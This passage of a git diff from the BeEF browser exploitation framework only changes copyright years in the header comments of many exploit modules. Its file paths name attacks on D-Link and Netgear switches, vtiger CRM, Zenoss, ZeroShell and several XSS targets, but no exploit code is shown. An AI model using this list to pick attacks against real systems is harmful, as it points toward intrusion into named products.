'doc/COPYING' for copying permission // diff --git a/modules/exploits/spring_framework_malicious_jar/config.yaml b/modules/exploits/spring_framework_malicious_jar/config.yaml index 2d5d178e3..e19e93c65 100644 --- a/modules/exploits/spring_framework_malicious_jar/config.yaml +++ b/modules/exploits/spring_framework_malicious_jar/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/spring_framework_malicious_jar/module.rb b/modules/exploits/spring_framework_malicious_jar/module.rb index 986ea43fb..89660ef54 100644 --- a/modules/exploits/spring_framework_malicious_jar/module.rb +++ b/modules/exploits/spring_framework_malicious_jar/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js b/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js index 97510f3ef..bb2bd4795 100644 --- a/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js +++ b/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml b/modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml index 5c23388b1..2ff520be5 100644 --- a/modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml +++ b/modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb b/modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb index df26f95c0..51a5ff619 100644 --- a/modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb +++ b/modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js index df9c3fd04..7c613b460 100644 --- a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js +++ b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml index 5bc4501f3..e33029940 100644 --- a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml +++ b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb index 439575e66..0ee678321 100644 --- a/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb +++ b/modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js index 462ea30ff..c8a0cf153 100644 --- a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml index 2629c6bd5..3c873d8ff 100644 --- a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb index 7da6b16da..e017d824c 100644 --- a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/netgear_gs108t_csrf/command.js b/modules/exploits/switch/netgear_gs108t_csrf/command.js index 44f2129fa..f5bcb0a0e 100644 --- a/modules/exploits/switch/netgear_gs108t_csrf/command.js +++ b/modules/exploits/switch/netgear_gs108t_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml index 55a9201bf..7ce82c48e 100644 --- a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml +++ b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/switch/netgear_gs108t_csrf/module.rb b/modules/exploits/switch/netgear_gs108t_csrf/module.rb index ea4e132eb..dcbab95b3 100644 --- a/modules/exploits/switch/netgear_gs108t_csrf/module.rb +++ b/modules/exploits/switch/netgear_gs108t_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/vtiger_crm_upload_exploit/command.js b/modules/exploits/vtiger_crm_upload_exploit/command.js index 78517dadd..503244cdb 100644 --- a/modules/exploits/vtiger_crm_upload_exploit/command.js +++ b/modules/exploits/vtiger_crm_upload_exploit/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/vtiger_crm_upload_exploit/config.yaml b/modules/exploits/vtiger_crm_upload_exploit/config.yaml index 235259f92..ee305a02a 100644 --- a/modules/exploits/vtiger_crm_upload_exploit/config.yaml +++ b/modules/exploits/vtiger_crm_upload_exploit/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/vtiger_crm_upload_exploit/module.rb b/modules/exploits/vtiger_crm_upload_exploit/module.rb index 641a9ef50..67f4b3199 100644 --- a/modules/exploits/vtiger_crm_upload_exploit/module.rb +++ b/modules/exploits/vtiger_crm_upload_exploit/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/wanem_command_execution/command.js b/modules/exploits/wanem_command_execution/command.js index 675cbc1b6..725de7b68 100644 --- a/modules/exploits/wanem_command_execution/command.js +++ b/modules/exploits/wanem_command_execution/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/wanem_command_execution/config.yaml b/modules/exploits/wanem_command_execution/config.yaml index b837a1597..7693dccbf 100644 --- a/modules/exploits/wanem_command_execution/config.yaml +++ b/modules/exploits/wanem_command_execution/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/wanem_command_execution/module.rb b/modules/exploits/wanem_command_execution/module.rb index 03579af28..6851f1dfc 100644 --- a/modules/exploits/wanem_command_execution/module.rb +++ b/modules/exploits/wanem_command_execution/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/wifi_pineapple_csrf/command.js b/modules/exploits/wifi_pineapple_csrf/command.js index aac3d14fd..37991a771 100644 --- a/modules/exploits/wifi_pineapple_csrf/command.js +++ b/modules/exploits/wifi_pineapple_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/wifi_pineapple_csrf/config.yaml b/modules/exploits/wifi_pineapple_csrf/config.yaml index 4f2978a5d..7c14dc2db 100644 --- a/modules/exploits/wifi_pineapple_csrf/config.yaml +++ b/modules/exploits/wifi_pineapple_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/wifi_pineapple_csrf/module.rb b/modules/exploits/wifi_pineapple_csrf/module.rb index 0208ebd90..3458162a1 100644 --- a/modules/exploits/wifi_pineapple_csrf/module.rb +++ b/modules/exploits/wifi_pineapple_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js index fe62272e8..9e66dea8d 100644 --- a/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml index 4fdf4b964..a3fc83887 100644 --- a/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb index c7b830368..13a227fb2 100644 --- a/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb +++ b/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js index ef8e16a32..b6b44ed50 100644 --- a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml index 27611b595..378220f1c 100644 --- a/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb index c003cf023..24855b2a6 100644 --- a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/serendipity_1.6_xss/command.js b/modules/exploits/xss/serendipity_1.6_xss/command.js index 3da8949c6..930e270cf 100644 --- a/modules/exploits/xss/serendipity_1.6_xss/command.js +++ b/modules/exploits/xss/serendipity_1.6_xss/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/xss/serendipity_1.6_xss/config.yaml b/modules/exploits/xss/serendipity_1.6_xss/config.yaml index 770d1d368..b2b3c7f1c 100644 --- a/modules/exploits/xss/serendipity_1.6_xss/config.yaml +++ b/modules/exploits/xss/serendipity_1.6_xss/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/serendipity_1.6_xss/module.rb b/modules/exploits/xss/serendipity_1.6_xss/module.rb index 8179116ba..b56777930 100644 --- a/modules/exploits/xss/serendipity_1.6_xss/module.rb +++ b/modules/exploits/xss/serendipity_1.6_xss/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/sqlitemanager_xss/command.js b/modules/exploits/xss/sqlitemanager_xss/command.js index 3da8949c6..930e270cf 100644 --- a/modules/exploits/xss/sqlitemanager_xss/command.js +++ b/modules/exploits/xss/sqlitemanager_xss/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/xss/sqlitemanager_xss/config.yaml b/modules/exploits/xss/sqlitemanager_xss/config.yaml index e118ce10d..17acd44cd 100644 --- a/modules/exploits/xss/sqlitemanager_xss/config.yaml +++ b/modules/exploits/xss/sqlitemanager_xss/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/xss/sqlitemanager_xss/module.rb b/modules/exploits/xss/sqlitemanager_xss/module.rb index 6ce90cc49..5a45e90a9 100644 --- a/modules/exploits/xss/sqlitemanager_xss/module.rb +++ b/modules/exploits/xss/sqlitemanager_xss/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zenoss_3x_command_execution/command.js b/modules/exploits/zenoss_3x_command_execution/command.js index be5b611ed..cab04198b 100644 --- a/modules/exploits/zenoss_3x_command_execution/command.js +++ b/modules/exploits/zenoss_3x_command_execution/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zenoss_3x_command_execution/config.yaml b/modules/exploits/zenoss_3x_command_execution/config.yaml index dc5d0f98a..8469ca909 100644 --- a/modules/exploits/zenoss_3x_command_execution/config.yaml +++ b/modules/exploits/zenoss_3x_command_execution/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zenoss_3x_command_execution/module.rb b/modules/exploits/zenoss_3x_command_execution/module.rb index b3b56bac4..9353659ee 100644 --- a/modules/exploits/zenoss_3x_command_execution/module.rb +++ b/modules/exploits/zenoss_3x_command_execution/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zenoss_add_user_csrf/command.js b/modules/exploits/zenoss_add_user_csrf/command.js index 864db9e75..daf123a8d 100644 --- a/modules/exploits/zenoss_add_user_csrf/command.js +++ b/modules/exploits/zenoss_add_user_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zenoss_add_user_csrf/config.yaml b/modules/exploits/zenoss_add_user_csrf/config.yaml index a9870971d..e0e47215a 100644 --- a/modules/exploits/zenoss_add_user_csrf/config.yaml +++ b/modules/exploits/zenoss_add_user_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zenoss_add_user_csrf/module.rb b/modules/exploits/zenoss_add_user_csrf/module.rb index 4034592c8..7f8d615e0 100644 --- a/modules/exploits/zenoss_add_user_csrf/module.rb +++ b/modules/exploits/zenoss_add_user_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js index 90f571989..4cae5bd3e 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml index 053272de6..a16c8df97 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb index 89ce9048a..8d5403b7a 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js index fc0dad6df..17f68cc3a 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml index 9b26500db..5da62ff5e 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb index ee85901ec..4528c8357 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js index 1bcf85bac..9dd23cca5 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml index e22d12de6..256d8671e 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb index cdab22620..c56b2d4f8 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js index 56677cc54..075ead3b8 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml index 2c883e2f4..3ba97ff0b 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb index 51e40f3cc..504b36900 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb @@ -1,5 +1,5 @@ # -# Copyright 